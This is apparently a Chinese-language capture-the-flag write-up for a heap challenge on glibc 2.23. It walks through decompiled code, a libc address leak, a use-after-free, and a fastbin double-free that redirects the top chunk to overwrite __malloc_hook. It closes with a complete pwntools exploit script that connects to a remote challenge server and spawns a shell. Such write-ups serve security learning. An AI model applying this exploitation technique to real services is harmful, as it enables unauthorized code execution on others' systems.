逆向分析
程序使用了alloca函数扩大了栈区
此处可以泄露libc的地址
程序主要功能在下面
while ( 1 ){while ( 1 ){fflush(stdin);fflush(_bss_start);fprintf(_bss_start, "\n%sDragons: [%d/%d]%s\n\n", "\x1B[1;34m", v5, 13LL, "\x1B[1;37m");fwrite(&unk_20C8, 1uLL, 0xEFuLL, _bss_start);fflush(stdin);fflush(_bss_start);num = read_num();if ( num == 1 )break;if ( num != 2 ){fwrite("\nFarewell..", 1uLL, 0xBuLL, _bss_start);exit(1312);}fwrite("\nDragon of choice: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();if ( size >= v5 ){fprintf(_bss_start, "\n%s[-] Unavailable dragon!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{free(s[size]);//存在UAFfprintf(_bss_start, "\n%s[+] The dragon flies away!\n%s", "\x1B[1;32m", "\x1B[1;34m");}}if ( v5 > 0xC ){fprintf(_bss_start, "\n%s[-] No more summons!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");exit(22);}fwrite("\nDragon's length: ", 1uLL, 0x12uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();fflush(stdin);fflush(_bss_start);if ( (size > 0x58 || size <= 1) && (size <= 0x68 || size > 0x78) )//关于size为什么要这样设定在下面解释{fprintf(_bss_start, "\n%s[-] Invalid dragon length!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{v10 = (char *)malloc(size);s[v5] = v10;if ( s[v5] ){fflush(stdin);fflush(_bss_start);fwrite("\nName your dragon: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);fgets(s[v5], size, stdin);fflush(stdin);fflush(_bss_start);++v5;}else{fprintf(_bss_start, "\n%s[-] Something went wrong!%s\n\n", "\x1B[1;31m", "\x1B[1;34m");}}
漏洞分析
执行strings libc.so.6 | grep ubuntu
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0(库版本2.23)
在2.23我们熟悉的是利用fastbin UAF 写入malloc_hook上面的fake_fastbin地址然后申请(0x58,0x68]大小的块往malloc_hook写one_shot拿到权限。
但是吧,本题在size上面设置了限制使得我们不能直接一步到位。
那怎么办呢?
其实归根到底中心思想是伪造fastbin块没有变,转换一下思路如果我们可以修改topchunk的地址为malloc_hook附近且保证其大小合法(在malloc_hook - 36就合适)。
因为topchunk地址存在main_arena+96的地方所以我们要利用UAF将一个合法的大小放到main_arena上面
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
如图通过不断覆写0x61达到目的。
summon(0x58,b'\x00' * 64 + p64(malloc_hook - 36))
接下来把伪造好的块拿出来(main_arena + 0x10)将topchunk改掉。
之后就可以快乐的把malloc_hook申请出来改写了。
解题脚本
from pwn import *
def gd():gdb.attach(p)pause()
def summon(size,data):p.recvuntil(b'>> ')p.sendline(b'1')p.recvuntil(b': ')p.sendline(str(size).encode()) p.recvuntil(b': ')p.sendline(data)
def free(idx):p.recvuntil(b'>> ')p.sendline(b'2')p.recvuntil(b': ')p.sendline(str(idx).encode())
#p = process("./da")
p = remote('94.237.53.58',56788)
libc = ELF("./glibc/libc.so.6")
p.recvuntil(b': ')
p.send(b'r3dDr4g3nst1str0f1' + b'a' * 38)
p.recvuntil(b'a' * 38)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x6eab9
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] -36
main_arena = libc_base + libc.sym['main_arena']
one_shot = libc_base + 0xe1fa1
summon(0x58,b'a')
summon(0x58,b'a')
free(0)
free(1)
free(0)
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))summon(0x58,b'\x00' * 64 + p64(malloc_hook))
summon(0x48,b'a' * 20 + p64(one_shot))p.interactive()
成功getshell